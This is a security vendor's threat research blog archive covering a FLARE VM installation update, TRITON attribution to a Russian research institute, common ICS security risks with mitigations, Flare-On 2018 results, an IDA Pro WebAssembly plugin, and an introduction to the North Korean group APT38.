Category Archives: Threat Research

FLARE VM Update

FLARE VM is the first of its kind reverse engineering and malware analysis distribution on Windows platform. Since its introduction in July 2017, FLARE VM has been continuously trusted and used by many reverse engineers, malware analysts, and security researchers as their go-to environment for analyzing malware. Just like the ever-evolving security industry, FLARE VM has gone through many major changes to better support our users’ needs. FLARE VM now has a new installation, upgrade, and uninstallation process, which is a long anticipated feature requested by our users. FLARE VM also includes many new tools such as IDA 7.0, radare and YARA. Therefore, we would like to share these updates, especially the new installation process.

Installation

We strongly recommend you use FLARE VM within a virtualized environment for malware analysis to protect and isolate your physical device and network from malicious activities. We assume you already have experience setting up and configuring your own virtualized environment. Please create a new virtual machine (VM) and perform a fresh installation of Windows. FLARE VM is designed to be installed on Windows 7 Service Pack 1 or newer; therefore, you can select a version of windows that best suits your needs. From this point forward, all installation steps should be performed within your VM.

Once you have a VM with a fresh installation of Windows, use one of the following URLs to download the compressed FLARE VM repository onto your VM:

  • https://github.com/fireeye/flare-vm
  • https://FLARE VM.info


Figure 1: Download FLARE VM repo

Then, use the following steps to install FLARE VM:

  1. Decompress the FLARE VM repository to a directory of your choosing.
  2. Start a new session of PowerShell with escalated privileges. FLARE VM attempts to install additional software and modify system settings; therefore, escalated privileges are required for installation.
  3. Within PowerShell, change directory to the location where you have decompressed the FLARE VM repository.
  4. Enable unrestricted execution policy for PowerShell by executing the following command and answering “Y” when prompted by PowerShell: Set-ExecutionPolicy unrestricted
  5. Execute the install.ps1 installation script. You will be prompted to enter the current user’s password. FLARE VM needs the current user’s password to automatically login after a reboot when installing. Optionally, you can specify the current user’s password by passing the “-password <current_user_password>” at the command line.


Figure 2: Start PowerShell as administrator


Figure 3: Ready to install FLARE VM

The rest of the installation process is fully automated. Depending upon your internet speed the entire installation may take up to one hour to finish. The VM also reboots multiple times due to the numerous software installations’ requirements. Once the installation completes, the PowerShell prompt remains open waiting for you to hit any key before exiting. After completing the installation, you will be presented with the following desktop environment:


Figure 4: FLARE VM installation completes

Congratulations! You have successfully installed FLARE VM. At this point we recommend you power off the VM, switch the VM networking mode to Host-Only, and then take a snapshot to save a clean state of your analysis VM.

Improvement

The biggest improvement for FLARE VM is the ability to perform a proper update and uninstallation. The older version of FLARE VM came as a PowerShell script to install many chocolatey packages, one at a time; therefore, we were unable to include new packages when updating FLARE VM. In the past, our users had to reinstall FLARE VM completely, which is time consuming, or manually install the new package, which is error prone. To solve this issue, we have converted FLARE VM itself into a chocolatey package. Whenever a new tool is available we will also release a new version of FLARE VM. With this new design we can simply execute “choco upgrade all” to get the newest version of FLARE VM along with any new packages we have released. You can also safely uninstall all FLARE VM packages by executing “choco uninstall flarevm.installer.flare”.

Our new FLARE VM is also updated to use Python 3.7 as the default Python interpreter. As a result, many python scripts may fail to execute. To maintain support for older scripts, we keep Python 2.7 installed in parallel with Python 3.7. We can easily switch between different versions by using the Python launcher. Run “py -2.7 <path_to_python_script>” to use Python 2.7, or “py <path_to_python_script>” to use the default Python 3.7 interpreter. For more details on the Python launcher, please refer to the following URL: https://docs.python.org/3/using/windows.html#launcher.

Additionally, the new FLARE VM changes the location where Fakenet-NG saves its output when launched via the shortcut in the FLARE folder or taskbar pin. Instead of saving directly to the desktop, to reduce clutter, Fakenet-NG will store all its output in “Desktop\fakenet_logs”.

Compared to older versions this version of FLARE VM comes with many new tools and software packages. Most notably, this release adds the following:

  • IDA Free 7.0
  • radare2 to support 64-bit disassembly
  • The labs for the Practical Malware Analysis book
  • pdfid, pdf-parser, and PdfStreamdumper to analyze malicious PDF documents
  • The Malcode Analyst Pack
  • Yara for signature matching
  • The Cygwin Linux environment on windows
  • PowerShell transcription and script block logging
    • PowerShell transcripts can be found in “Desktop\PS_Transcripts”

Available Packages

While we attempt to make the tools available as shortcuts within the FLARE folder, there are several available from command-line only. Please see the online documentation for the most up to date list. Here is an incomplete list of some major tools available on FLARE VM:

  • Disassemblers:
    • IDA Free 5.0 and IDA Free 7.0
    • Binary Ninja
    • Radare2 and Cutter
  • Debuggers:
    • OllyDbg and OllyDbg2
    • x64dbg
    • Windbg
  • File Format parser:
    • CFF Explorer, PEView, PEStudio
    • PdfStreamdumper, pdf-parser, pdfid
    • ffdec
    • offvis and officemalscanner
    • PE-bear
  • Decompilers:
    • RetDec
    • Jd-gui and bytecode-viewer
    • dnSpy
    • IDR
    • VBDecompiler
    • Py2ExeDecompiler
  • Monitoring tools:
    • SysInternal suite
    • RegShot
  • Utilities:
    • Hex Editors (010 editor, HxD and File Insight)
    • FLOSS (FireEye Labs Obfuscated String Solver)
    • Fakenet-NG
    • Yara
    • Malware Analyst Pack

Conclusion

The FLARE team continues to support and improve FLARE VM to be the de facto distribution for security research, incident response, and malware analysis on Windows platform. We greatly appreciate the numerous bug reports, tool requests, and feature recommendations from everyone. We hope FLARE VM, along with many other FLARE open source projects, can help you do your work better, easier, and faster.

We are always looking for talented folks to join our team. The FLARE Team may be a good place for you if:

  • You eat, sleep, and speak disassembly and malware all day long.
  • You would like to push the state of the art for reverse engineering and malware analysis.

Please check out our careers page, or send us an email. Happy Reversing!

TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers

Overview

In a previous blog post we detailed the TRITON intrusion that impacted industrial control systems (ICS) at a critical infrastructure facility. We now track this activity set as TEMP.Veles. In this blog post we provide additional information linking TEMP.Veles and their activity surrounding the TRITON intrusion to a Russian government-owned research institute.

TRITON Intrusion Demonstrates Russian Links; Likely Backed by Russian Research Institute

FireEye Intelligence assesses with high confidence that intrusion activity that led to deployment of TRITON was supported by the Central Scientific Research Institute of Chemistry and Mechanics (CNIIHM; a.k.a. ЦНИИХМ), a Russian government-owned technical research institution located in Moscow. The following factors supporting this assessment are further detailed in this post. We present as much public information as possible to support this assessment, but withheld sensitive information that further contributes to our high confidence assessment.

  1. FireEye uncovered malware development activity that is very likely supporting TEMP.Veles activity. This includes testing multiple versions of malicious software, some of which were used by TEMP.Veles during the TRITON intrusion.
  2. Investigation of this testing activity reveals multiple independent ties to Russia, CNIIHM, and a specific person in Moscow. This person’s online activity shows significant links to CNIIHM.
  3. An IP address registered to CNIIHM has been employed by TEMP.Veles for multiple purposes, including monitoring open-source coverage of TRITON, network reconnaissance, and malicious activity in support of the TRITON intrusion.
  4. Behavior patterns observed in TEMP.Veles activity are consistent with the Moscow time zone, where CNIIHM is located.
  5. We judge that CNIIHM likely possesses the necessary institutional knowledge and personnel to assist in the orchestration and development of TRITON and TEMP.Veles operations.

While we cannot rule out the possibility that one or more CNIIHM employees could have conducted TEMP.Veles activity without their employer’s approval, the details shared in this post demonstrate that this explanation is less plausible than TEMP.Veles operating with the support of the institute.

Detail

Malware Testing Activity Suggests Links between TEMP.Veles and CNIIHM

During our investigation of TEMP.Veles activity, we found multiple unique tools that the group deployed in the target environment. Some of these same tools, identified by hash, were evaluated in a malware testing environment by a single user.

Malware Testing Environment Tied to TEMP.Veles

We identified a malware testing environment that we assess with high confidence was used to refine some TEMP.Veles tools.

  • At times, the use of this malware testing environment correlates to in-network activities of TEMP.Veles, demonstrating direct operational support for intrusion activity.
    • Four files tested in 2014 are based on the open-source project, cryptcat. Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates. One of these files was deployed in a TEMP.Veles target’s network. The compiled version with the least detections was later re-tested in 2017 and deployed less than a week later during TEMP.Veles activities in the target environment.
    • TEMP.Veles’ lateral movement activities used a publicly-available PowerShell-based tool, WMImplant. On multiple dates in 2017, TEMP.Veles struggled to execute this utility on multiple victim systems, potentially due to AV detection. Soon after, the customized utility was again evaluated in the malware testing environment. The following day, TEMP.Veles again tried the utility on a compromised system.
  • The user has been active in the malware testing environment since at least 2013, testing customized versions of multiple open-source frameworks, including Metasploit, Cobalt Strike, PowerSploit, and other projects. The user’s development patterns appear to pay particular attention to AV evasion and alternative code execution techniques.
  • Custom payloads utilized by TEMP.Veles in investigations conducted by Mandiant are typically weaponized versions of legitimate open-source software, retrofitted with code used for command and control.

Testing, Malware Artifacts, and Malicious Activity Suggests Tie to CNIIHM

Multiple factors suggest that this activity is Russian in origin and associated with CNIIHM.

  • A PDB path contained in a tested file contained a string that appears to be a unique handle or user name. This moniker is linked to a Russia-based person active in Russian information security communities since at least 2011.
    • The handle has been credited with vulnerability research contributions to the Russian version of Hacker Magazine (хакер).
    • According to a now-defunct social media profile, the same individual was a professor at CNIIHM, which is located near Nagatinskaya Street in the Nagatino-Sadovniki district of Moscow.
    • Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of the profile.
  • Suspected TEMP.Veles incidents include malicious activity originating from 87.245.143.140, which is registered to CNIIHM.
    • This IP address has been used to monitor open-source coverage of TRITON, heightening the probability of an interest by unknown subjects, originating from this network, in TEMP.Veles-related activities.
    • It also has engaged in network reconnaissance against targets of interest to TEMP.Veles.
    • The IP address has been tied to additional malicious activity in support of the TRITON intrusion.
  • Multiple files have Cyrillic names and artifacts.


Figure 1: Heatmap of TRITON attacker operating hours, represented in UTC time

Behavior Patterns Consistent with Moscow Time Zone

Adversary behavioral artifacts further suggest the TEMP.Veles operators are based in Moscow, lending some further support to the scenario that CNIIHM, a Russian research organization in Moscow, has been involved in TEMP.Veles activity.

  • We identified file creation times for numerous files that TEMP.Veles created during lateral movement on a target’s network. These file creation times conform to a work schedule typical of an actor operating within a UTC+3 time zone (Figure 1) supporting a proximity to Moscow.


Figure 2: Modified service config

  • Additional language artifacts recovered from TEMP.Veles toolsets are also consistent with such a regional nexus.
    • A ZIP archive recovered during our investigations, schtasks.zip, contained an installer and uninstaller of CATRUNNER that includes two versions of an XML scheduled task definitions for a masquerading service ‘ProgramDataUpdater.’
    • The malicious installation version has a task name and description in English, and the clean uninstall version has a task name and description in Cyrillic. The timeline of modification dates within the ZIP also suggest the actor changed the Russian version to English in sequential order, heightening the possibility of a deliberate effort to mask its origins (Figure 2).


Figure 3: Central Research Institute of Chemistry and Mechanics (CNIIHM) (Google Maps)

CNIIHM Likely Possesses Necessary Institutional Knowledge and Personnel to Create TRITON and Support TEMP.Veles Operations

While we know that TEMP.Veles deployed the TRITON attack framework, we do not have specific evidence to prove that CNIIHM did (or did not) develop the tool. We infer that CNIIHM likely maintains the institutional expertise needed to develop and prototype TRITON based on the institute’s self-described mission and other public information.

  • CNIIHM has at least two research divisions that are experienced in critical infrastructure, enterprise safety, and the development of weapons/military equipment:
    • The Center for Applied Research creates means and methods for protecting critical infrastructure from destructive information and technological impacts.
    • The Center for Experimental Mechanical Engineering develops weapons as well as military and special equipment. It also researches methods for enabling enterprise safety in emergency situations.
  • CNIIHM officially collaborates with other national technology and development organizations, including:
    • The Moscow Institute of Physics and Technology (PsyTech), which specializes in applied physics, computing science, chemistry, and biology.
    • The Association of State Scientific Centers “Nauka,” which coordinates 43 Scientific Centers of the Russian Federation (SSC RF). Some of its main areas of interest include nuclear physics, computer science and instrumentation, robotics and engineering, and electrical engineering, among others.
    • The Federal Service for Technical and Export Control (FTEC) which is responsible for export control, intellectual property, and protecting confidential information.
    • The Russian Academy of Missile and Artillery Sciences (PAPAH) which specializes in research and development for strengthening Russia’s defense industrial complex.
  • Information from a Russian recruitment website, linked to CNIIHM’s official domain, indicates that CNIIHM is also dedicated to the development of intelligent systems for computer-aided design and control, and the creation of new information technologies (Figure 4).


Figure 4: CNIIHM website homepage

Primary Alternative Explanation Unlikely

Some possibility remains that one or more CNIIHM employees could have conducted the activity linking TEMP.Veles to CNIIHM without their employer’s approval. However, this scenario is highly unlikely.

  • In this scenario, one or more persons – likely including at least one CNIIHM employee, based on the moniker discussed above – would have had to conduct extensive, high-risk malware development and intrusion activity from CNIIHM’s address space without CNIIHM’s knowledge and approval over multiple years.
  • CNIIHM’s characteristics are consistent with what we might expect of an organization responsible for TEMP.Veles activity. TRITON is a highly specialized framework whose development would be within the capability of a low percentage of intrusion operators.

ICS Tactical Security Trends: Analysis of the Most Frequent Security Risks Observed in the Field

Introduction

FireEye iSIGHT Intelligence compiled extensive data from dozens of ICS security health assessment engagements (ICS Healthcheck) performed by Mandiant, FireEye's consulting team, to identify the most pervasive and highest priority security risks in industrial facilities. The information was acquired from hands-on assessments carried out over the last few years across a broad range of industries, including manufacturing, mining, automotive, energy, chemical, natural gas, and utilities. In this post, we provide details of these risks, and indicate best practices and recommendations to mitigate the identified risks.

Mandiant ICS Healthchecks

Mandiant ICS Healthchecks and penetration testing engagements include on-site assessments of customers' IT and ICS systems. The ICS Healthcheck consists of workshops and technical reviews. It captures the results in a final report that ranks discovered findings and vulnerabilities by risk using Mandiant’s Risk Rating method. During an onsite workshop with site technical experts, Mandiant develops a technical understanding of the subject control system(s), builds a network diagram of the control system, analyzes for potential vulnerabilities and threats, and assists with prioritizing recommended countermeasures to defend the environment.

Mandiant also collects and reviews packet captures of network traffic from the ICS environment to validate the network diagram constructed in the workshop and to identify any unexpected or undesirable deviations from the intended design. This traffic is also analyzed for evidence of compromise or misconfiguration of the ICS network/system. Mandiant inspects the deployed security technology for vulnerabilities and other architectural risks, such as inappropriately configured firewalls, dual-homed control system devices, and unnecessary connectivity to the business network or the Internet.

NOTE: Findings are discussed at a generalized level to preserve the anonymity of our customers. This post presents a high-level overview and is meant to be an informative first stop for customers interested in common cyber security issues. For more information or to request Mandiant services, please visit our website.

Methodology: Mandiant Risk Rating System

This blog post leverages information from Mandiant ICS Healthchecks, which evaluate cyber security risk in organizations from multiple industries. The rating of critical and high security risk is based on the Mandiant Risk Rating System, which is determined by identifying the exploitability and the impact of a given issue, and cross-referencing the results (Figure 1).


Figure 1: Impact/exploitability graphic

One Third of Security Risks in ICS Environments Ranked High or Critical

We reviewed findings from all of our risk assessments and then categorized and ranked the reported risks as critical or high, medium, low, or informational (Figure 2). At least 33 percent of the security issues we found in ICS organizations were rated of high or critical risk. This means they were most likely to allow adversaries to readily gain control of target systems and potentially compromise other systems or networks, cause disruption of services, disclose unauthorized information, or result in other significant negative consequences. We suggest immediate remediation for critical risks, and quick action to remediate high security risks.


Figure 2: Risk assessment distribution

Most Common High and Critical Security Risks in ICS Environments

FireEye iSIGHT Intelligence organized the critical and high security risks identified during Mandiant ICS Healthchecks into nine unique categories (Table 1). The three most common were:

  • Vulnerabilities, Patches, and Updates (32 percent)
  • Identity and Access Management (25 percent)
  • Architecture and Network Segmentation (11 percent)

In most of these cases, basic security best practices would be enough to stop (or at least make it more difficult for) threat actors to target an organization's systems. The implications are vast because specialized malware or actors targeting infrastructure would likely look for these flaws first to exploit throughout the targeted attack lifecycle.


Table 1: Distribution of high and critical security risks in ICS environments

Top Three High and Critical Risks and Recommended Mitigations

Vulnerabilities, Patches, and Updates

Vulnerability, patch, and update management procedures enable organizations to secure off-the-shelf software, hardware, and firmware from known security threats. Known vulnerabilities in ICS environments can be leveraged by threat actors to access the network and move laterally to execute targeted attacks. The following common risks were observed during our engagements:

  • Infrequent procedures for patching and updating control systems:
    • We encountered organizations with no formal vulnerability and patch management programs.
  • Out-of-date firmware, hardware, and operating systems (OS), including:
    • Network devices and systems such as switches, firewalls, and routers.
    • Hardware equipment, including desktop computers, cameras, and programmable logic controllers (PLCs).
    • Unsupported legacy operating systems such as Windows Server 2003, XP, 2000, and NT 4.
  • Unaddressed known vulnerabilities in software applications and equipment where patches are available:
    • We observed outdated firewalls with up to 53 unaddressed vulnerabilities and switches with more than 200 vulnerabilities.
    • System management software that can be exploited using known open source tools.
  • Lack of test environments to analyze patches and updates before implementation.

Mitigations

  • Develop a comprehensive ICS Vulnerability Management Strategy and include procedures to implement patches and updates on key assets. More information is provided by the National Institute for Standards and Technology's (NIST) Guide for ICS Security NIST SP800-82.
  • When patches and updates are no longer provided for key infrastructure, choose one of the two following options:
    • Implement a security perimeter around affected assets, protected by, at minimum, a firewall (industrial protocol inspection/blocking if appropriate) for access control and traffic filtering.
    • Decommission legacy devices that might be exploited to gain access to the network, such as switches.
  • Set up development systems or labs that are representative of the running IT and ICS devices. These systems can often be built from existing spares along with the purchase or loan of additional licenses for human-machine interfaces (HMIs) and configuration software from the system vendor. A development system is an excellent platform to test changes and patches, and on which to perform vulnerability scans without risk to active systems.
Identity and Access Management

The second most common category of security issues identified was related to the flaws in or absence of best practices for handling passwords and credentials. Common weaknesses identified by Mandiant include:

  • Lack of multi-factor authentication for remote access and critical accounts:
    • Users were able to remotely access ICS environments from the corporate network without requiring multi-factor authentication.
  • Lack of a comprehensive and enforced password policy:
    • Weak passwords with insufficient length or complexity used for privileged accounts, ICS user accounts, and service accounts.
    • Passwords were not changed frequently.
    • Passwords were reused for multiple accounts.
  • Prominently displayed passwords:
    • Passwords were written on the chassis of devices.
  • Hard-coded and default credentials in applications and equipment:
    • Mandiant discovered Remote Terminal Units (RTUs) containing default credentials, which are commonly available on the Internet and in the device manuals.
    • A modem contained a backdoor account incorporated by the manufacturer.
  • Commonly used “administrator” accounts.
  • Use of shared credentials.

Mitigations

  • Implement two-factor authentication for all possible users, especially administrative accounts.
  • Avoid keeping written copies of passwords and, if necessary, secure them out of sight with limited access for only authorized users.
  • Enforce password policies that require strong passwords that are regularly modified and cannot be reused. More information is available from SANS.
  • Avoid common, easily guessed user account names such as "operator," "administrator," or "admin." Instead, use uniquely named user accounts for all access.
  • Require administrative users to log in with uniquely named user accounts with strong passwords, tied back to an individual person.
  • Avoid shared accounts when feasible. However, if present, they should be hardened using strong passwords that are stored in an encrypted password manager.
Network Segregation and Segmentation

Of the top three risks identified in this post, weaknesses in network segregation and segmentation are the most important. Lack of segregation from the corporate IT network and within the ICS network allows threat actors opportunities to launch remote attacks against key infrastructure by moving laterally from IT services to ICS environments. Furthermore, it increases the risk of commodity malware spreading to ICS networks where the malware could interact with operational assets. The main risks identified by Mandiant included:

  • Plant systems accessible from the corporate network, either directly or through bridge devices (connected to both networks), such as unused servers, HMIs, historians, or loosely configured shared firewalls. We also found:
    • Unfiltered access to plant servers from corporate networks through, for example, a historian communicating with the distributed control system (DCS).
    • Missing segmentation between ICS and corporate networks.
    • Vulnerabilities in bridge devices (e.g., outdated appliances running vulnerable OS) that can enable lateral movement between networks.
    • Business functions (e.g., data backups and anti-virus updates) running on shared control system networks.
  • Dual-homed systems, both servers and desktop computers.
  • Industrial networks connected directly to the internet.

Mitigations

  • Segment all access to ICS with a network Demilitarized Zone (DMZ), as recommended by both NIST SP 800-82 and IEC (Figure 3):
    • Restrict the number of ports, services, and protocols used to establish communications between the ICS and corporate networks to the least possible to reduce the attack surface.
    • Terminate incoming access for both regular and administrative users first in the DMZ, and then establish another session with connectivity into the ICS network.
    • Place servers (or mirrored servers) that provide ICS data to the corporate network in the DMZ.
    • Use firewalls to filter all network traffic entering or leaving the ICS.
    • Firewall rules should filter both incoming traffic from the corporate network and outgoing traffic from the ICS, and they should only allow the minimum required amount of traffic to pass.
  • Isolate the control networks from the internet. A separate network should be used for internet access through a DMZ, and at no time should a bridged connection be allowed between the two networks.
  • Ensure that independent, regularly patched firewalls are used to separate the corporate network from the DMZ and ICS network, and review firewall rulesets on a regular basis.
  • Identify and redirect any non-control system traffic traversing the industrial network.
  • Eliminate all dual-homed servers and hosts.


Figure 3: Reference architecture for segmentation of enterprise and control system networks

Additional Highlights

Additional common risks were identified from other categories, but with less frequency.

Network Management and Monitoring
  • We identified the lack of Network Security Monitoring, Intrusion Detection, and Intrusion Prevention in organizations, including missing endpoint malware protection, leaving unused ports active, and having limited visibility into ICS networks. We recommend the following best practices:
    • A comprehensive network security monitoring strategy should be defined and implemented at the ICS level as part of an overarching ICS security program. Special attention should be placed on monitoring network segments where external connectivity occurs:
  • Implement or increase centralized system and network logging to provide visibility across the entire enterprise (IT and ICS). Monitor logs for anomalous behavior. Consider implementing additional host or network-based security controls that generate alerts or reject traffic based on anomalous or suspicious behavior.
  • Install a centrally managed anti-malware solution on all ICS and ICS DMZ hosts. Ensure that signature and application updates are deployed in a timely manner.
  • Explore alternatives for the deployment of an advanced endpoint protection solution that provides detection/prevention for malware and malicious activities that do not rely on signature-based detection methods.
  • Develop procedures to identify and shut down network ports when not in use.
Misconfigurations in Firewall Rules

We identified weak firewall rules including "ANY-ANY" configurations, conflicting or overlapping rules, overly permissive conditions allowing access to administrative services, and lack of console connection timeouts. We recommend the following best practices for secure firewall configuration:

  • Filtering rules should only allow access from/to specific source/destination IP addresses and ports.
  • Filter rules should specify a specific network protocol.
  • ICMP filter rules should specify a specific message type.
  • Filter rules should drop network packets instead of rejecting them.
  • Filter rules should perform a specific action and not rely on a default action.
  • Administrative session timeout parameters should be set to terminate those sessions after a predetermined amount of time.
Cyber Security Governance Best Practices

We identified some organizations with limited or absent formal and comprehensive ICS security programs. We highly suggest organizations implement ICS security programs to prioritize the following recommendations:

  • Establish a formal ICS security program with a clearly defined owner, accountability, and governance structure. It should include:
    • Business expectations, policies, and technical standards for ICS security.
    • Guidance on proactive security controls (e.g., implementation of patches and updates, change management, or secure configurations).
    • Incident Response, Disaster Recovery, and Business Continuity plans.
    • ICS security awareness training plans.
  • Develop a Vulnerability Management Strategy following NIST SP800-82, including asset identification and inventory, risk assessment and analysis methodology (with prioritization of critical assets), remediation testing, and deployment guidelines.

Conclusion

This blog post presents a broad picture of the current risks facing industrial organizations as observed during Mandiant ICS Healthchecks. While the trends observed in this research align with risk areas commonly discussed in security conference talks and media reports, this blog draws from dozens of on-site assessments that hold real-life validity.

Our findings indicate that at least one third of the critical and high security risks in ICS are related to vulnerabilities, patches, and updates. Known vulnerabilities continue to represent significant challenges for ICS owners that must oversee the daily operation of thousands of assets in complex industrial environments. It is also relevant to highlight that some of the most common risks we identified could be mitigated with security best practices, such as enforcing a comprehensive password management policy or establishing detailed firewall rules. If you are interested in more information or to request Mandiant services, please visit our website.

2018 Flare-On Challenge Solutions

We are pleased to announce the conclusion of the fifth annual Flare-On Challenge. The numbers are in and we can safely say that this was by far the most difficult challenge we’ve ever hosted. We plan to reduce the difficulty next year, so it may be that the 114 people who solved this year’s challenge solved not only the most difficult Flare-On to date, but the most difficult Flare-On there ever will be. The prize for these amazing and dedicated Reverse Engineers is a magic decoder buckle and coin insert. It can be used to decode and encode secret messages using a pre-shared key. It is based on a crypto system known as a Diana Cipher. They will be shipping soon.

We would like to thank the challenge authors individually for their great puzzles and solutions:

  1. Minesweeper Championship Registration: Nick Harbour (@nickharbour)
  2. Ultimate Minesweeper: Nick Harbour (@nickharbour)
  3. FLEGGO: Moritz Raabe
  4. binstall: Tyler Dean the Malware Machine
  5. Web 2.0: William Ballenthin (@williballenthin)
  6. Magic: Sebastion Vogl
  7. WOW: Ryan Warns
  8. Doogie Hacker: Matt Williams (@0xmwilliams)
  9. leet editr: Michael Bailey
  10. golf: Ryan Warns
  11. malware skillz: Jay Smith
  12. Suspicious Floppy Disk: Nick Harbour (@nickharbour)

And now for the stats. As of 10:00am ET, participation was at an all-time high, with 4,893 registered players and 3,374 players finishing at least one challenge. This year had the least amount of finishers as well with 114.

The U.S. continues to slip further down the ranking in terms of finishers by country. China takes the lead in overall finishers and Singapore is the undisputed champion of per capita finishers with more than one finisher per million people.

All the binaries from this year’s challenge are now posted on the Flare-On website. And here are the solutions written by each challenge author:

  1. SOLUTION #1
  2. SOLUTION #2
  3. SOLUTION #3
  4. SOLUTION #4
  5. SOLUTION #5
  6. SOLUTION #6
  7. SOLUTION #7
  8. SOLUTION #8
  9. SOLUTION #9
  10. SOLUTION #10
  11. SOLUTION #11
  12. SOLUTION #12

FLARE Script Series: Reverse Engineering WebAssembly Modules Using the idawasm IDA Pro Plugin

Introduction

This post continues the FireEye Labs Advanced Reverse Engineering (FLARE) script series. Here, we introduce idawasm, an IDA Pro plugin that provides a loader and processor modules for WebAssembly modules. idawasm works on all operating systems supported by IDA Pro, and can be obtained from the idawasm GitHub project.

Motivation

You may have competed in this year’s Flare-On challenge and reached the fifth level only to discover a new file format: a WebAssembly (“wasm”) module. In order to proceed, you had to reverse engineer the key check logic contained in this binary file for the WebAssembly stack-based virtual machine. But first, you probably learned a bit about wasm:

"Wasm is designed as a portable target for compilation of high-level languages like C/C++/Rust, enabling deployment on the web for client and server applications.
The Wasm stack machine is designed to be encoded in a size- and load-time-efficient binary format. WebAssembly aims to execute at native speed by taking advantage of common hardware capabilities available on a wide range of platforms."

via: WebAssembly

While WebAssembly is a fairly new standard, some tools for analysis already exist:

  • The WebAssembly Binary Toolkit provides the command line tool wasm2wat that translates a .wasm file into the human-readable .wat format, as well as a basic decompiler called wasm2c.
  • The web-based WebAssembly Studio IDE exposes features for extracting .wasm files into interesting formats, including translations to x86-64 produced by the Firefox SpiderMonkey JIT engine.
  • Radare2 can disassemble instructions, though it doesn’t reconstruct control flow graphs just yet.

Unfortunately, few of these tools are interactive or familiar to us. If we could analyze .wasm files in IDA Pro, like we do with .exe and .so files, then we might be better prepared for malware distributed as WebAssembly.

The idawasm IDA Pro plugin is a loader and processor module that enables analysts to review WebAssembly modules using a familiar interface. Let’s take a peek at some of its major features.

Whirlwind Tour of idawasm

Once you’ve installed idawasm, you can load .wasm files into IDA Pro. The "Load a new file" dialog will indicate when the loader module recognizes a WebAssembly module. Currently, the plugin supports the MVP (version 1) release of WebAssembly, as shown in Figure 1.


Figure 1: IDA Pro loading a WebAssembly module

The processor module then gets to work and reconstructs the control flow, which enables IDA’s graph mode. This makes it easy to identify high-level control constructs, such as if statements and while loops. On the FLARE team, we’ve found that when a C program is compiled for WebAssembly, the resulting control flow graphs mirror those of an x86 compilation target. Although the specific instructions differ, our techniques and intuitions we’ve learned for x86 apply to wasm too. Note how easy it is to identify the pair of if statements in Figure 2.


Figure 2: Control flow graph of WebAssembly instructions

In addition to control flow, the processor module parses and renders function names and types using metadata embedded with .wasm files. It also extracts cross-references to global variables, enabling an analyst to “List cross-references” and find code that manipulates interesting values. Of course, all of the elements that idawasm parses can be interactively renamed and commented. Therefore, you can record knowledge about WebAssembly malware samples in .idb files and share them with other analysts.

For example, Figure 3 shows how an analyst has renamed local variables and added comments that explain how the function frame is manipulated during a function prologue.


Figure 3: Annotated WebAssembly in IDA Pro

When the idawasm processor detects that a WebAssembly module was compiled by LLVM, it enables enhanced analysis. LLVM uses primitives provided by the WebAssembly specification to implement a function frame stack in global memory used for mutable function-local variables. In the function prologue, the first few instructions allocate the frame on this global stack, while the epilogue cleans it up prior to return. idawasm automatically finds references to the global frame stack pointer and reconstructs the frame layout of each function. Using this information, the processor updates IDA’s stack frame structures and marks immediate constants as offsets into these structures. This means that many more instruction operands are actually symbols that can be commented and renamed, as shown in Figure 4.


Figure 4: Automated reconstruction of function frame

By convention, WebAssembly compilers emit instructions that reference variables in Single Static Assignment (SSA) form. This is a benefit to browser engines, because code that is already in SSA form is easier to import into analysis systems such as optimizers and JIT engines. Using SSA form is why even the simplest functions have dozens or hundreds of local variables.

But as a human, SSA form is tedious to analyze since we must trace operations across many separate local variables. To help us out, idawasm includes a WebAssembly emulator that can track instructions at a symbolic level. This enables us to collapse a sequence of simple-but-related instructions into a single complex expression.

To use it, we select a region of instructions within a single basic block and run the wasm_emu.py script. The script emulates the instructions, simplifies their effects, and renders the effect to global variables, locals, memory, and the stack. Figure 5 shows how a function’s prologue is simplified to a single global variable update:


Figure 5: wasm_emu.py show effects of function frame allocation

When there are many arithmetic operations, wasm_emu.py often simplifies into a single meaningful expression. For example, Figure 6 shows how 32 instructions boil down into a single XOR across two input bytes:


Figure 6: wasm_emu.py simplifying many instructions to a complex instruction

Conclusion

idawasm is an IDA Pro plugin that enables support for WebAssembly modules via a loader and processor. This lets analysts use a familiar interface to reverse engineer .wasm files and share their work with others. The wasm_emu.py script can also be helpful for understanding the effects of long streams of WebAssembly instructions. Now dealing with this new file format and architecture won’t be as scary, so head on over to the idawasm GitHub project to start using it!

APT38: Details on New North Korean Regime-Backed Threat Group

Today, we are releasing details on the threat group that we believe is responsible for conducting financial crime on behalf of the North Korean regime, stealing millions of dollars from banks worldwide. The group is particularly aggressive; they regularly use destructive malware to render victim networks inoperable following theft. More importantly, diplomatic efforts, including the recent Department of Justice (DOJ) complaint that outlined attribution to North Korea, have thus far failed to put an end to their activity. We are calling this group APT38.

We are releasing a special report, APT38: Un-usual Suspects, to expose the methods used by this active and serious threat, and to complement earlier efforts by others to expose these operations, using FireEye’s unique insight into the attacker lifecycle.

We believe APT38’s financial motivation, unique toolset, and tactics, techniques and procedures (TTPs) observed during their carefully executed operations are distinct enough to be tracked separately from other North Korean cyber activity. There are many overlapping characteristics with other operations, known as “Lazarus” and the actor we call TEMP.Hermit; however, we believe separating this group will provide defenders with a more focused understanding of the adversary and allow them to prioritize resources and enable defense. The following are some of the ways APT38 is different from other North Korean actors, and some of the ways they are similar:

  • We find there are clear distinctions between APT38 activity and the activity of other North Korean actors, including the actor we call TEMP.Hermit. Our investigation indicates they are disparate operations against different targets and reliance on distinct TTPs; however, the malware tools being used either overlap or exhibit shared characteristics, indicating a shared developer or access to the same code repositories. As evident in the DOJ complaint, there are other shared resources, such as personnel who may be assisting multiple efforts.
  • A 2016 Novetta report detailed the work of security vendors attempting to unveil tools and infrastructure related to the 2014 destructive attack against Sony Pictures Entertainment. This report detailed malware and TTPs related to a set of developers and operators they dubbed “Lazarus,” a name that has become synonymous with aggressive North Korean cyber operations.
    • Since then, public reporting attributed additional activity to the “Lazarus” group with varying levels of confidence primarily based on malware similarities being leveraged in identified operations. Over time, these malware similarities diverged, as did targeting, intended outcomes and TTPs, almost certainly indicating that this activity is made up of multiple operational groups primarily linked together with shared malware development resources and North Korean state sponsorship.

Since at least 2014, APT38 has conducted operations in more than 16 organizations in at least 13 countries, sometimes simultaneously, indicating that the group is a large, prolific operation with extensive resources. The following are some details about APT38 targeting:

  • The total number of organizations targeted by APT38 may be even higher when considering the probable low incident reporting rate from affected organizations.
